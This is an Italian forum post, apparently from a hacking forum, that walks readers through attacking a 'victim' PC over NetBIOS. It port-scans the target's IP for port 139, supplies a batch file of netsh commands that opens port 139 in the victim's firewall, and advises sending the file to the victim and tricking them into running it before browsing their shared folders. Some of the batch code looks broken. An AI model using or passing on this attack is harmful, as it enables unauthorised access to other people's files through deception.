Suxsem |
|
| | Dopo avere trovato l'IP della nostra vittima (per esempio seguendo questa guida: http://hackeco.forumfree.net/?t=32906248) è arrivato il momento di sferrare l'attacco vero e proprio. Uno dei metodi + efficaci è quello di utilizzare il netbios, di default abilitato su tutti gli o.s. Windows Vediamo un po' come sfruttarlo
Come sempre sottolineo di provare tutto su vostri PC 1)Scarikiamo innanzitutto un utilissimo programma x tutti gli hacker, un port scanner (un programma ke ci permette di saxe le porte aperte in un determinato IP), in questo caso la scelta cade su advanced port scanner: http://www.gold-software.com/download6744.html 2)Installiamo il programma e avviamolo 3)Inseriamo l'IP della vittima precedentemente trovato e premiamo scan 4)Aspettiamo il responso... 5)Se nell'elenco delle porte aperte è presente la 139 (o comunque una porta che riporta la dicitura "netbios") siamo a cavallo...la vittima non l'ha chiusa e il suo PC è molto vulnerabile edit: grazie francesco per la segnalazione: se la porta 139 non è aperta...
CITAZIONE 1)Aprire blocco note; 2)Scrivere: CODICE @echo off netsh firewall add portopening tcp 139 netsh firewall add portopening udp 139 netsh %SYSTEMDRIVE% 3)Salvare come "nomekevolete.bat" (virgolette incluse) 4)Inviare il file alla vittima e trovare il modo di farglielo aprire 6)Non ci rimane che aprire explorer e inserire nella barra degli indirizzi "\\IP_DELLA_VITTIMA" (senza virgolette) e dare INVIO. (es. "\\88.168.25.2") 7)Tutte le cartelle condivise dal PC saranno totalmente accessibili da voi
Nella prossima parte vedremo addirittura come sfruttare questa vulnerabilità per attacchi ancora più efficaci... Stay tuned!
Edited by Suxsem - 8/10/2008, 21:11 |
|
| |